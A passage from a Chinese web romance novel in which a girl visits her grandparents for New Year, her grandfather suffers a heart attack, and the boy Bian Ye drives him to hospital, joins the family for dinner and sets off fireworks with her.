光线明亮如昼,少女微微仰着脑袋,眼底似有细碎盈光。 他起了挑逗心思,给她围了满脸。 “唔……边野。”她抬手去扯,头发都扯乱了。 “你干嘛呀。”姜栀轻蹙着眉,两颊微鼓。 边野被她这模样可爱到,忍不住弯唇。 她今晚第一次见他笑,都来不及等他回来,双眼亮晶晶地问:“是不是不生我气了?” “嗯。”他没忍住,摸了摸她毛茸茸的脑袋。 他怎么会舍得生她气,只是在别墅里没见到她,失落罢了。 姜栀反应过来时,边野已经走出了工作室。 走得倒是快。 腹诽了几句,她赶紧跟上。 上了车,路灯透过车窗照进来,落在少年脸上半明半昧。 姜栀没再计较这事儿。 边野没有再情绪不好,明天也可以回去见到爷爷奶奶,她现在很开心。 “边野。”她声音很柔,像轻水一样流淌。 “嗯?”他偏眸看她。 “提前祝你新年快乐,今年明年都要开心。”姜栀眉眼弯弯,像一轮皎月,眼底在昏昧的光影里起伏着波澜,透着致命的吸引力。 少年心口像麦芽糖似的一点一点化开,他喉结微滚,回过头踩下油门,“太早了,不接受。” 第32章 第 32 章 姜栀买了最早回孟城的车票, 前一晚一回来就收拾东西上床睡觉,并没注意到抽屉里震动了几下的手机。 第二天一早提着行李箱下楼时,乍一看到靠在客厅沙发上的边野惊了一跳。 少年身形懒散地靠着, 环着双臂闭着眼。 眼下有些许青黑。 听到动静, 他精准睁眼。 漆黑的眼里透着倦意, 明显没睡醒。 看到她手里的箱子, 边野利落起身, 朝她过去, 自然地拿从她手里拿过箱子。 姜栀跟在他后面下去, “你什么时候来的,我其实可以自己去车站的,不用送我的。” “老子高兴,不行?”他声音懒懒。 走到客厅门口,边野回头看她,“手机带了吗?” “啊?” 姜栀有一秒钟没反应过来, 但很快理解, 她摇头,“没。” “带上。” 她迟疑:“感觉好像用不上,还是放家里吧。” 边野气笑,“一破手机你当神供着吗?” “去拿,不然寒假怎么联系你?” 姜栀没再反驳,乖乖去拿。 碰到手机,她才看见边野昨晚给她发了好几条消息,问她几点的票, 最后一句在凌晨4点。 所以是这么早就来了吗。 她关了手机静音后, 才下楼。 原本是打算坐公交去车站,时间算的很准, 现在边野送她,节省出一大半时间。 到车站离检票还有四十分钟。 现在才七点半。 这个点大厅里人不多,她站在门口温声道:“好啦,你快回去吧,回去记得好好睡觉。” “嗯。”边野淡淡应她一声,“在这儿等我。” 话落,转身就走。 姜栀不知道他要去哪儿,就进去先取票。 准备进候车室安检时,她听到边野叫她。 “拿着。” 温热的早餐被强行塞在手里,“进去慢慢吃,别空着肚子。” 他低垂着眼叮嘱。 包子和豆浆温热的触感透过肌肤传进血液里,她真诚地微微仰头看他,唇角弯弯,“好,我知道啦。” 想起今天预报有雪,她软声道:“快回去吧。” “到家记得给我发消息,嗯?”边野低声,视线凝在她身上。 “会的。”姜栀温软一笑,眼里像是有细碎的光浮动,“我进去啦。” 她拿着早餐推着行李箱往里走,刚要进安检,身后有快速的脚步声跟过来。 姜栀还没反应过来,被一股不讲理的力道往后一拉。 她结实地撞进少年有力的胸膛,隔着衣服,她能听见心脏跳动的声音,很清晰。 好在手里的豆浆拿得稳,没掉下去,姜栀松口气,闻到他身上清冽的味道。 但很快意识到他们挨得太近了。 她试图往后撤,被边野用力按住后脑勺,“先别动。” 姜栀脑袋毛茸茸的,他下巴轻轻搁在她头顶。 说好了要克制的。 边野眼底闪过一丝自嘲意味。 后面有人推着箱子过来,姜栀瞥见,耳根一红,用手戳了戳他,“有人来了,我们把路堵着了。” 边野轻哼一声,“真没良心。” 话落松了手,在后面人靠近之前把她推了进去,“快进去吧。” 姜栀点点头,朝他挥了挥手。 边野懒散地站在门口看那道身影进去,越来越远,最后看不见。 他走出去,湿冷的冬风迎面吹来,灌进领口和衣袖,他脸色淡淡,生出一股躁意。摸了下口袋,拿出一盒烟敲了一根。 天阴沉沉的,叫人不爽。 边野咬着烟,舌尖抵了下牙关,几秒后丢进了垃圾桶。 - 姜栀到孟城正好中午。 孟城没有雪,云层里透出细微的阳光。 爷爷奶奶住在老小区,设施都很老旧,但胜在有人气。 小区边的小饭馆老板看到她回来又惊又喜,“知知,你回来啦?这可有半年没回来了吧,过得还好吗?” 爸妈车祸去世的事邻里们都知道,她本就讨人喜欢,家里又出了这么大事儿,更叫人怜爱了。 姜栀温软一笑,“嗯,回来看爷爷奶奶。” 十足的烟火气终于让她有种真实的感觉,好像什么都和从前一样。 “有空来吃面,叔叔请你。”老板笑得慈爱。 “嗯,一定。”她眉眼弯弯,笑得很甜。 老小区年久失修,有些楼墙皮都开始剥落。 没有电梯,姜栀搬着行李箱上了五楼。 门口绿色的防盗铁门生着些斑斑点点的锈迹,上次和爸妈一起来的时候,还贴着红福,现在光秃秃的,什么都没有。 酸涩与难过一瞬间涌上来,像汹涌的波涛怎么都压不住。 姜栀眼眶泛红,差一点掉下泪来。 吸了吸鼻子,她深缓了口气。 压下心绪,姜栀敲了敲门。 “谁啊?” 里面传来浑沉的声音,很熟悉。 这里隔音不算好,她听见走近的脚步声。 门打开,姜栀看见爷爷的面庞。 比上一次苍老了不少,头发白了大半,双眼浑浊,像失了精气神,老态龙钟。 “爷爷。”她声音轻颤。 老头子看见她,愣了几秒后,眼底有泪光闪动,赶紧把铁门打开,“孩子,快进来,外面冷。” “哎。”姜栀应他一声,拎起箱子进去。 “老婆子,你快看谁来了!” 屋里家具虽旧,但收拾得很干净整洁,一进来姜栀就闻到一股菜香味,铁铲划拉炒锅的声音充斥着整个屋子。 “谁啊?” 她闻声回头,看见姜栀的瞬间,神色凝固。 老太太年纪虽大,满头白发,但头发梳地齐整利落,脸上虽有岁月留下的皱纹,却仍可以窥见年轻时的美貌。 “奶奶。” 她到底没忍住,扑过去紧紧抱住,“奶奶……” 眼泪啪嗒啪嗒掉。 姜栀喉咙哽得厉害。 老太太愣了好一下才反应过来,颤巍巍地抚她脑袋,“好孩子,不哭啊。不哭。” 她满是褶皱老茧的手慈爱地擦拭姜栀脸上的泪,“是不是在那边受委屈了?” 那场车祸后,老两口默认边家人把她接走。 他们年纪大了,也给不了孙女好的教育环境,半年来也只通过几通电话,他们担心经常打给孙女会影响她的处境,即便想念也是深深压抑着。 更没想过她会回来。 “没有。”她摇头,“没有奶奶,他们都对我很好。” “那就好,那就好。”老太太浑浊的眼眶泛红。 老两口的精神都不如爸妈还在时那样矍铄,即便他们不说,家里似乎也弥漫着淡淡的悲伤。 “还没吃饭吧,等会儿奶奶,饭一会儿就做好了。” 姜栀软软点头,“好。” 老太太不让她插手帮厨,她就陪着爷爷下棋。 爷爷是个棋痴,饭后也要拉着她继续。 直到下午电话响起,她看到屏幕上跳动的名字,才猛然意识到忘记给边野报平安。 “爷爷,我接个电话。” 老头子和蔼笑笑,摆手让她去。 到阳台上,姜栀才接通,“喂。” 她声音轻轻软软,像羽毛扫在人心上。 边野那点子躁意一瞬间烟消云散,低下声来:“嗯,到家了吧。” 听到他没生气,她轻轻道:“到啦。” “对不起呀,我陪爷爷下棋,忘记给你说了。” 边野散漫地靠在沙发上,把玩着遥控器,“我有那么小气?” “嗯——”反应过来自己在说什么,她赶紧摇头,“没,不小气的。” 他气笑,“姜栀,才回去第一天,胆子就这么肥了?” 抿了抿嘴,她有点不知道说什么。 气氛安静了几秒,边野嗓音低低,“爷爷奶奶怎么样?” 她回头看了眼,嘴角微微弯起,“还好,只是年纪大了。” “嗯,代我问好。” “好。” “天气冷,多穿点衣服知不知道,我可不想你感冒了回来传染给我。” 姜栀点头,“放心吧,不会的。” 空气安静。 她举着手机半分钟后,听到对面低磁的嗓音,“那什么……你就没什么要跟我说的?” 姜栀疑惑,说什么? 眨巴了下眼,她想了想,“放假也要好好学习,别偷懒。” 像个小老师。 边野好气又好笑,轻嗤笑一声,“就这?” “那……还要说点什么?”姜栀不解。 笨死了。 他低垂着眼,“就说点这些浪费我电话费?谁要听。” 姜栀透过玻璃窗看见楼下你追我跑的小朋友们,觉得自己好像是有点板正了。 放假了应该要说点跟学习没关的。 “那就……想玩什么就玩什么,放松点,不过记得早点睡觉,别熬夜太晚。” “嗯。”他顺着应下,嘴角不自觉勾起。 见他没有挂断的意思,姜栀迟疑着接了一句:“少抽点烟,不好。” “嗯。” “不要忘记吃早饭。” “嗯。” “要开心一点,不要生气,不好。” “嗯。” “……” 几个来回后,姜栀感觉自己像榨干的橙子,一滴不剩了。 她默了两秒,“……有不会的题随时问我。” 边野嗤笑一声,兜兜转转还是好好学习,“学校不给你颁发个好好学生奖都不对不起你这么认真。” 姜栀耳根蹿红,有点不好意思。 “好了,不逗你了。”他敛起几分笑意,“挂了。” 电话掐断,姜栀把手机从耳边拿下。 三十六分钟。 居然讲了这么久。 握着手机回头,客厅里已经没爷爷的身影了。 老太太在看报,见她走过来,从报纸上探出脑袋,温和地笑着道:“你爷爷他去睡觉了,说晚点继续跟你比。” “好呀。”她软软在奶奶身边坐下,拿出寒假作业,就这么陪着奶奶。 写完一张卷子,姜栀想起来回来的目的,“奶奶——” 老太太将报纸放下一点,“怎么啦知知?” 她握着笔,尽量让自己显得松快一点,“奶奶,我回来的时候听说济仁医院有给老人免费体检的活动,反正不收费,我们去看看好不好?” 老太太的视线逡巡在她脸上,欣慰一笑,“我和你爷爷年纪大了,越来越不喜欢医院那种地方,你别担心我们,我们身体都好着,真生病了会去医院,不会拖着的。” 一下被看穿,姜栀眼睫轻微垂了垂,有失落的情绪漫上来,没再说话。 目光落在卷子上,半天,一个字都没看进去。 看来要想别的办法了。 老两口都是很固执的人,姜栀劝不动就只好默默关注他们的身体。 日子一晃就到了除夕。 老太太包了很多饺子,分出一大份,“老头子,你把这些送去给老安。” 姜栀知道安爷爷,他无儿无女的,腿脚一直不好,每年过年,奶奶都会送点东西过去。 “我去吧奶奶,我认识路。”她刚要揽过就被老头子推开,“你就陪着你奶奶包饺子,我送点东西过去,正好跟老安唠唠嗑,你可不许拦着。” 姜栀拗不过,认真叮嘱:“那爷爷,你路上一定要注意安全。” “几步路的工夫,不碍事的。”他摆摆手,换了鞋出去。 直到门关上,她还有点忧心。 老太太笑道:“你爷爷他心里有数的,你别担心,真没事,没多远的。” “好。”她收回视线,陪着奶奶继续包饺子。 冬天的天一下子就黑了。 老太太看了眼时间,有点奇怪,“怎么这个点儿还没回。” 姜栀心里害怕,立马洗手擦水,“我去安爷爷家看看。” 她急急跑出门,想到什么又赶紧跑回来,跑向爷爷奶奶的房间。 “怎么又回来了知知?”老太太不解。 姜栀边进去边应:“外面风大,我给爷爷带个围巾。” 她去柜子里拿,意外看见压在里面的一张白纸,折得很整齐。 姜栀没有翻别人东西的习惯,可莫名的,她取了出来。 打开。 是张病历单。 应激性心肌病。 突发性胸痛、呼吸困难、晕厥。 左心室运动异常。 患者写的是爷爷。 姜栀安安静静地看这些字,好陌生。 视线寻找入院日期。 10月21日。 三个月前。 她脸上的血色一点一点消失,拿着病历的手开始不稳。 前世她根本没发现爷爷突发心脏问题的事。 怎么会。 是因为什么。 “知知,还没拿好吗?”外面传来奶奶的声音,她顿时回神,赶紧把病历塞回去,“来了!” 迅速收敛心绪,姜栀拿着围巾快步出去。 “奶奶我走了!”怕老太太看出什么,她赶紧跑向门口。 想到病历,姜栀一路往安爷爷家冲,心急如焚。 千万。 千万不要出事。 天黑黢黢一片。 老头子停在小路边,脸色难看至极,对着电话那头的人怒吼:“没有钱,没有!” 他气地胸口起伏,手都在抖,“……那是你哥的死赔的钱,那些钱都是要留给知知的,那是她父母拿命换来的,那是她的东西,不是你的!” 电话那头的女声疯了似的歇斯底里:“要不是她这个扫把星,我哥能死吗!” “那是我哥的,也有我的份!你们想看着我被要债的逼死吗?你要是不给我,我就来抢,只要我还活着,那就是我的!” “你、你……我怎么有你这么个不孝女!咳咳……” 老头子被激地五官都在抽搐,心脏急速跳动,手机“啪”一声掉地上。 “嗬嗬——” 他直喘气,两眼一翻,倒在地上。 姜栀刚看见人影,就发现这一幕,“爷爷!” 她脸色惨白,疯了似的冲过去。 “爷爷!爷爷你别睡,别睡!”姜栀怕得浑身发抖,眼泪直往下掉。 她没带手机,急得四处喊人,可除夕这个点路上一个人都没有。 “爷爷……” 她心口抽疼不已,慌乱中看到地上的翻盖手机,无措地抓过赶紧打120,“喂,是医院吗……” “来不及的,直接上车。” 头顶上方忽然落下一道低沉的男声,姜栀一愣,抬头间满眼泪水,脸色苍白紧张。 “边野……”她来不及反应他为什么在这儿,只呆呆地喊他名字。 “搭把手,把后车门打开。”边野抱起爷爷,姜栀急忙起身去把车门打开。 老人家被安放在后座,她在旁边扶着,眼尾红得厉害。 边野透过中央后视镜看了眼,肃着脸踩下油门,一路疾驰,直奔最近的医院。 爷爷被迅速送进急救室,姜栀被拦在门外。 她呆呆地望着急救室的门,手止不住地发颤,那种后知后觉的恐惧像爬虫一样密密麻麻滚上来,堵住喉咙鼻腔,逐渐让人喘不过气来。 “姜栀,姜栀?” 边野凝着脸色喊她,她迟钝地反应一下,迟缓回头。 她脸色惨白到快没有血色,眼眶很红,眼底却没有泪。 像干涸的水井。 边野握住她的手,拧眉,“怎么这么凉?” 他拉开衣服拉链,把她双手放在怀里捂。 姜栀像个玩偶似的,任由他摆弄。 “你爷爷会没事的,别担心。”边野不知道怎么安慰她,除了黎女士去世那次,他没见过她哭,也没见过她这样失了神的模样。 她被他带着在长椅上坐下,一声不吭。 “姜栀。” 他声音温沉,“看着我姜栀。” 她眼睫轻颤一下,缓缓掀起眼皮看他。 “没事的,我开得很快,很及时,爷爷会醒过来的,信我一次好不好?”他伸出一只手轻轻抚着她脸颊,动作极为温柔。 姜栀唇瓣微动,仍旧没说话,双手已经被逐渐捂暖。 边野心脏揪紧,像被绳子勒的难受。 他抬手把人搂进怀里。 “知知,别怕,我在,我一直在。” 像浮萍有了依靠,姜栀搭着他肩膀,终于缓慢又后怕地缓过来神来,喉咙里的干涩一瞬间翻涌。 空洞的眼里不断掉下泪来,一滴接一滴。 细碎的刺痛在心脏里蔓延,扎着她每一寸皮肤。 姜栀缓缓颤抖起来,哽咽声压抑不住。 听得人心都碎了。 边野拧着眉,动作温柔地一下又一下的抚摸她后背。 前世爷爷奶奶的结局和刚刚的突发状况终于压垮了她。 姜栀再也忍不住,在他怀里放声哭起来。 边野轻轻拍着她的背,牙关收紧,如果他来得再早点…… 片刻后,她哭声渐小。 垂眸看着他衣服上的泪渍,姜栀不好意思的从他怀里退出来,眼睛仍旧红红的。 “对不起,我把你衣服弄脏了。” 她满脸歉意,把手从他怀里收回来,伸手用袖子给他擦,却被抓回来。 “干什么?”他声音温温,“弄脏一个人的就够了。” 她脸上好多泪,在医院炽亮的光线下很明显。 边野抬手,用指腹轻柔地给她擦,“哭得跟小花猫似的。” 举动过于亲昵,姜栀原本想躲,却又觉得躲了好像很白眼狼。 “谢谢你啊。”她认真地看他眼睛,那双漆黑的瞳孔一点也不冷,热得像火炉。 她不敢想象,如果今天不是遇到他,爷爷会到怎样危险的境地。 边野把她脸颊旁一缕凌乱的头发拨到耳后,“跟我客气什么,我们什么关系。” 姜栀下意识轻轻蹙了下眉,没回应。 “你怎么会来孟城。”她眨着眼问,琥珀色眼眸刚被泪水洗过,清澈透亮得像玻璃。 “来找你。” 姜栀一愣,“来……找我?” “嗯。”边野眼底映着她清纯乖巧的模样,他没告诉她,她离开的这些天,他每天晚上都在做梦,梦里她的脸越来越清晰,可每次梦醒,身边都空空荡荡。 偌大的房子,没有她的影子。 他想她想得发疯。 “我已经一天没睡觉了,还开了五个小时的车来找你,”他眼不眨心不跳地蒙她,“如果你赶我走,我就只能再开回去,路上车多,说不准明年今天就是我的忌日。” “不许瞎说!”姜栀心急地捂住他嘴。 爷爷的事让她心悸不已,她可怜又生气地看他,“以后不准说了,快呸。” 边野勾唇,定定望着她,并不出声。 “快呸。”姜栀急切地催他,眼底都是担心和害怕。 “嗯。”他轻应下来,一只手握住她腕骨挪开,“呸,呸呸。” 姜栀这才松了口气,“以后都不许说这种话了,类似的也不要说,要好好活着知不知道,我想要你好好活着。” 看她这么严肃,边野敛起嘴边懒散的笑意,郑重应道:“嗯,我答应你。” “现在可以放心了?” 姜栀点头,想要抽回手,却被他握得很紧,“怎么了?” 边野目光眷恋地流转在她脸上,最后温温一笑松了手,“没事。” 不久,急救室的门打开,有医生叫患者名字,姜栀听见赶紧应了一声跑过去。 “他已经没事了,以后不要刺激他,老人经不起刺激的,多来几次神仙也救不了。”医生郑重叮嘱。 “等一会他就能醒了。” “好。”姜栀一一应下,“谢谢医生。” 老人家被推入普通病房,她站在病床前,看着爷爷,心里平静很多。 只是。 爷爷不过去了趟安爷爷家,安爷爷是个很好的人,从来不跟人起冲突。 不是安爷爷,那会是谁。 病房外,边野站在门口看了眼,手机响起,他接起电话走出去。 姜栀在病床前守了会儿,老人家终于醒过来。 “爷爷。”她声音很轻,握住他苍老的手,眼眶一酸。 “吓到你了吧。”姜爷爷反握住,笑得慈祥温和。 她摇摇头,“爷爷,你没事就好,没事就好。” 姜栀陪着爷爷待了会儿,才想起来没跟奶奶说这事,奶奶一定很着急。 她拿过爷爷的手机赶紧出去报平安。 老太太知道后吓得声音都不平稳了,听到说没事狠狠松了口气,“那今晚还回来吃饭吗,要住院的话我带个保温桶来,你们爷俩都还没吃饭。” “回来的奶奶,您要是饿了就先吃,等爷爷没事了就回来的。”姜栀应了老太太几声,最后挂断了电话。 往病房回来的路上,没看到边野,她不由疑惑。 明明刚刚还在这儿的,难道真开车回去了? 怕他有什么危险,姜栀跟爷爷打了声招呼就赶紧去找人。 她着急地四处看,直到在医院大门外看到车旁的边野,旁边还有个警察,正在跟他交涉着什么。 姜栀没过去打扰,直到警察准备离开,她才过去。 “以后开车不要闯红灯了,很危险。” 警察临走前的叮嘱她恰好听见。 在警车离开的这十几秒里,她意识到他闯红灯是为什么。 心里的愧疚像灌满了瓶子的水,快要漫出来。 “对不起啊。”她很抱歉地看他,“罚款了吗,我把钱给你。” 边野嗤笑一声,“这么点钱,当老子是乞丐吗,还要问你一个女生要。” “可是——” “没什么可是,如果你爷爷出什么事,我才悔恨终生。”他看着她的眼睛,声音温沉,“知道吗。” 姜栀唇瓣微动,却说不出话来。 心脏一跳一跳。 她看着那双炽热的眼,声音温软清甜,“跟我回家吧。” 有冷风吹过,边野听到风声。 并不遮掩她的声音,他却觉得自己没听清楚,微微弯身看她,视线与她齐平。 他看见她眼底的自己,喉结滚动,声音低宠,“什么?” “今天是除夕夜,照例是要吃团圆饭的,奶奶准备了很多菜,跟我一起回家吧。”她嘴角挂着浅浅的弧度。 “成。”边野眼底的笑意都快压不住,“拉钩。” 姜栀呆了下,“这也要拉钩吗?我不会出尔反尔的。” “让你拉就拉,哪那么多废话。”他故作凶巴巴地蹙眉。 “哦。”她抬手。 姜栀的手很小巧,但白皙纤长,秀气好看。 边野伸出小拇指勾住她手。 “好幼稚哦,现在三岁小孩都不拉钩了。”她嘟嘟囔囔。 “嘶。”他挑眉,捏住她脸颊,细腻柔软带着点肉感,手感很好,“翅膀硬了,都敢当着我面说了?” “唔——”姜栀皱眉,一脸乖萌,“痛。” “知道痛就好。”边野放轻了力度,“下次看你还敢不敢说。” 清冽的气息散落在脸上,姜栀静静地看着他。 空气安静。 数秒后,她拍掉他手,莫名紧张地错开视线,“我、我去看爷爷了。” 说完,转身就跑。 泛红的耳尖落在边野眼里,他后知后觉地低笑一声。 这是害羞吗。 是不是说明,她对他也有点好感? 第33章 第 33 章 从医院回去已经快九点, 姜栀提前给奶奶打了通电话。 老太太没心思吃饭,一直等到消息才安下心来,把桌上的饭菜重新热了一遍。 下了车, 老人家要自己走, 姜栀不放心, 想去扶却被挥开, “没事的知知, 医生都说我没问题了。” “爷爷……”她心底揪住, 声音轻轻颤了下。 边野锁了车, 把钥匙丢给姜栀,在他面前蹲下,“上来,我背您上次。” “哎呀真不用,我腿脚好着呢。” 边野回头看他,“但是知知很担心您, 她难得回来。” 气氛沉寂两秒。 姜爷爷心里叹口气, 没再拒绝。 知知这孩子已经够苦了,不能再让她这么担心自己了。 “麻烦你了好孩子。”姜爷爷伏趴到他背后,任由边野背自己走。 姜栀手里握着他的车钥匙,一步一步地跟在后面。 少年身高腿长,上起楼梯来并没有她想象中费力。 到家门口,老太太一听到敲门声就赶紧起身去开门。 看到陌生脸孔先是愣了一下,连忙让人进门,扶着姜爷爷下来。 老太太又气又急, 心疼地拍打在他胳膊上不, “我不是就让你送趟饺子吗,你怎么还把自己搞到医院去了!” 姜爷爷顾及到姜栀, 囫囵敷衍过去,“就不小心摔了,不是什么大问题。” 老太太瞬间听懂,瞥了眼姜栀,没再问,絮絮叨叨地嗔怪了几句。 姜栀给边野拿了双拖鞋,听到奶奶问:“这位是……?” “他、他是黎……” 她迟疑了下刚开口就被边野懒散打断,“奶奶好,我是姜栀的同学,正好路过这里,顺手送爷爷去了医院。” 姜栀愣了下。 怎么不让她说实话? 老太太看他长得俊俏又礼貌,慈爱地笑起来,“小伙子吃饭了吗,没吃的话就在我们家吃吧。” “没。”边野温和勾唇,睨了眼姜栀,“但不知道知知欢不欢迎。” 姜栀:“……?” 有人为她发声吗,她好像什么也没说吧。 要不是爷爷奶奶在,她真想给他一个白眼。 老两口同时看向她。 姜栀尬了一秒,轻软笑起来,“怎么会不欢迎爷爷的救命恩人。” 她拉开椅子,“请坐。” 边野忍住没笑,顺势坐下,没再逗她。 老太太的视线在两人之间来回几次,不由一笑,拿了碗筷给边野后坐下。 “小伙子,都是一些家常菜,你别介意啊。” 边野:“挺好的。” 老太太冲姜栀努努嘴,“知知,你多给人夹点菜,别让客人这么干着呀。” 姜栀嘴里还咬着个油炸圆子,腮帮子鼓鼓囊囊的,“啊?” 边野也不客气,把碗往前推了推,“我想吃鱼。” “哦……好。”她含糊不清地应,拿了把公筷给他夹了一大块鱼头。 嘶。 报复心倒是强。 边野勾着唇。 “知知,你怎么给人夹鱼头,鱼头没肉,夹点鱼肚子。”姜爷爷嗔了她一句。 姜栀咕咚咽下嘴里的圆子,眨巴着眼道:“不都说吃鱼头会让人聪明吗?”说着偏头看他,“你不喜欢吗?” 边野被她的小把戏逗得胸口溢满了愉悦。 “喜欢。”他声音低磁,“你夹什么我都喜欢。” 老两口相视一眼后都慈祥一笑。 他们不是那么古板的人,而且也相信自己孙女心有分寸。 姜栀耳朵一瞬间烧红,暗戳戳瞪他一眼,“瞎说什么呢。” 拿起公筷又给他夹了好多菜,“快吃吧。” “嗯。”他低宠一笑。 “小伙子,你是哪里人啊。”老太太笑着问。 边野迟疑一秒,“宿城。” “宿城……”姜爷爷念着看了眼老太太,“离这儿可是有四百多公里,怎么会在这边过年?” 孟城不比宿城繁华,这块不少年轻人都去一线城市打工了。 边野偏头看姜栀一眼,“来找人。” 老太太见状,慈祥地笑起来,“什么人这么重要,除夕这天都是要在家和家人吃饭的。” “除了奶奶,我没有家人。” 姜栀夹菜的动作一顿,有些讶异地看他。 又跟边叔叔吵架了吗。 “你们吃饭,不用在意,我习惯了。”边野声色温沉,自己就打圆场过去了,“我要找的人确实很重要。” “如果今天见不到她,这个年都过不好。” 姜栀怔忪。 像有什么在脑子里咚了一声,发出轻灵的声音。 老太太看了眼姜栀,“那现在见到了吗?” 他勾唇浅笑,“嗯,见到了。” 这是七岁以后他过得最好的一个年。 这顿饭热热闹闹吃完已经九点半了。 姜栀帮着奶奶一起收拾碗筷,却被推出了厨房,“你来帮我,他怎么办,把人晾在那儿吗?” 她回头看着擦桌子的边野,眨巴着眼。 “好啦知知,这儿有我跟你爷爷就行了,你送送人家。” “嗯。”姜栀乖巧答应,洗了手出来。 这个点外面温度很低,凉飕飕的。 她围了围巾,想了想又拿了条爷爷的围巾走出去。 出了门,她喊住边野,“把这个戴上吧,家里……没有新的了,外面很冷的。” 少年高出她许多,楼道里灯光昏暗,他轻笑,“不用,我身体好。” 姜栀递在半空的手没收回。 “会感冒的。”她眼神执着。 边野眸色微动,勾唇一笑,“那你帮我。” 见她不动,他故意道:“救命恩人这么点小要求也不愿意满足吗?” 姜栀有点不好意思。 她捏着围巾轻声道:“那……你低头。” 边野照做,但他低下头也还是有点高。 她走近踮起脚尖,把围巾越过他脑袋,落在后脖颈上。围巾有点长,她拿着准备再环绕一圈时,边野忽然站直了身体。 姜栀没来得及反应,被他往前一带,跌进他怀里。 “投怀送抱,这么主动?”边野眉梢微挑,声音含笑。 她面颊泛起红晕,迅速往后一退,却被他扣住了腰,动弹不得,“边野……你、你松开。” “爷爷奶奶还在里面呢。”她伸手去推。 边野瞥了眼后面紧闭的铁门,轻笑,“这么怕?” “你再这样,我……” 他低下头,离她很近,气息落在她脸上,“你就怎样?” 姜栀无可奈何,抿着嘴,“我会生气的。” “成。”他松手,眼底笑意浮上来,“你倒是知道怎么拿捏我。” 姜栀立马退开几步,脸颊还红着,“你自己围吧。” 话落先他一步下楼。 边野哭笑不得,“哎,我才是客人,你走这么快,是让我送你吗?” 她步子一顿,有点幽怨地看他,“那你快点。” 下到一楼,姜栀看着外面黑漆漆的天,轻声问他:“你晚上住哪里的酒店?” “没。” 她没懂,“啊?” 边野勾唇轻笑,“酒店都订满了,我没地方去。” 她一愣。 孟城不是什么繁华地界,居然一间房都没了吗? “那……”姜栀迟疑,“你晚上在哪休息?” “车里呗,还能去哪?”他嗓音散漫,无所谓似的。 姜栀怔忪。 已经一天没睡觉了,车里休息怎么会舒服呢。 “关心我?”边野凑近挑眉。 她点头,“你救了爷爷,是恩人。要不然……你住我家吧,跟爷爷睡一张床,可以吗?” 边野哼笑一声,“要是这么勉强就算了。” “不勉强。”姜栀神色认真,“你不介意的话我带你回去给爷爷说一声吧,爷爷肯定不会拒绝的。” 见她真要回去,边野拉住她手臂,“跟你开玩笑的。” 姜栀没信,“你是不是怕给我家里添麻烦,没事的……” “真的跟你开玩笑。”边野捏了捏她脸颊,“我就想看看,你对我是不是真的没良心。” 她眉头轻蹙,“一点也不好笑。” “嗯。”他心口很软,“想玩烟花吗?” “我们这里没的卖。” 边野指腹摩挲着她的脸颊肉,“想吗?” 她迟疑了一下,冲他点头,“嗯。” 边野带她到车边,打开后备箱。 里面有一把烟花,还有仙女棒。 姜栀诧异了一下,被他塞进两个仙女棒。 “拿好。” 他拿出打火机,把人带到空地上点燃,明亮绚丽的火光燃起,滋出漂亮的火花。 “好漂亮啊边野。”她拿在手里画了几个圈,浅色瞳眸被映照出细碎的光,莹莹流动,好看得令人心动。 “嗯。”他视线落在她脸上,一瞬不错,“很漂亮。” 手里的仙女棒烧尽,边野又给她点了两支。 姜栀眨着眼睛看他,“你不玩吗?” “一起呀。” 她分一支给他,他没接,从后备箱里拿出一个新的,就着她手里的火光点燃。 她笑,他也笑。 “边野,你今天开心吗?”她还记得他餐桌上说的那句话。 ——除了奶奶,没有家人。 黑寂的深夜里,少年眼里是源源不断的烟火光。 “嗯。” 他偏眸看她,唇角不由自主地勾起。 这个冬天,好像没有那么冷了。 “你有什么新年愿望吗?”姜栀双眼晶亮,声音轻快温软。 手里烟花棒烧完,他挑眉,“有啊。” “什么呀?”她眨着眼,在火光里漂亮得不真实。 “我说了你就给我实现吗?” 姜栀点点头又摇摇头,“只要不是太贵重的东西,我买得起就可以。” “老子才不花女孩子钱。”他模样懒散,低笑:“我就一个愿望。” 他凝着少女清透迷人的眼睛,“做我女朋友,成不?” 姜栀愣了下,反应过来顿时红了耳朵,“不行。” “这个不行,你换一个吧。”她有点不自然地错开视线。 边野意料之中,并没觉得失望,甚至还有工夫逗她:“那怎么办,除了这个我什么都不想要。” “你……”她没好气地瞪他一眼,“那你别要了,反正这个不行。” 边野低笑一声,见她从口袋里摸出一个红封递过来。 “干嘛?” “红包呀。”她拉过他的手,塞进他手里,“就让这个红包开启你新一年的好运吧。” 好运…… 他垂着眼捷,目光落在红封上。 如果她可以喜欢他,就算这一辈子都没有好运,他也值了。 “姜栀。”他掀起眼皮。 “嗯?”少女模样乖巧地微微仰头,眼底浮着疑惑。 路灯昏黄,光线微弱。 边野漆黑的眼底映着她的面孔,心脏在胸腔里鼓鼓跳动,猛地凑近在她脸颊上亲了一口。 好软好香。 速度太快,等姜栀反应过来,他已经撤开了。 “你、你干什么!”她一瞬间羞红了脸,耳尖红得不像样,像突然炸毛的小猫。 边野跟不知道自己干了什么似的,“亲你啊,不明显吗?” 他凑近挑眉,“那再亲一个?” “不行!”姜栀迅速捂住脸颊,气鼓鼓的,“你这是耍流氓!” “嗯,”他坦荡承认,“只对你。” 姜栀更气了,他都在说些什么啊。 他被逗笑,笑声克制不住地从胸腔里震颤出来,“这么可爱啊你。” 姜栀:“……” 手机响起。 边野收敛几分,从口袋里拿出来。 看到屏幕上跳动的名字,他眼底的笑意瞬间散去大半,面色冷下来,直接掐断。 很快,第二个第三个…… 十几通电话,坚持不懈地打。 姜栀明显能感觉到他情绪波动,温声劝道:“要不还是接一下?” 他拧眉,最终接通。 “有事就说。”边野声音低冷。 “除夕夜你不在家又跑去哪了?”老边总气地声音都不稳了,脸色铁青,“你眼里到底还有没有这个家!” 他冷嗤一声,目露讥讽,“你觉得呢?” “你马上给我回来!”老边总沉声下令。 “那是你的家,跟我有什么关系,我回不回去是我的事,少来烦我。”他阴着脸挂断电话,直接关机。 姜栀离他很近,多少听到了一些。 原来边叔叔并不知道他来了这里。 “时间不早了,我送你回去。”边野淡淡开口。 她摇摇头,“我就是来送你的,你再送我,岂不是没完没了啦。” “成。”他也没拒绝,“那你回吧,我看你上去再走。” “嗯。”姜栀应下,临走前看了他一眼。 边野靠在车边,身形散漫。 脖子上围巾磨刀下巴,他伸手就想扯了,迟疑了下还是松了手。 冷风吹来,他沉着脸,心底躁意不止。 从口袋里摸出烟盒,他下意识想要敲出一根,脑子里不期然响起那句甜甜软软的声音。 ——少抽点烟,不好。 他低嗤一声,把烟收了回去。 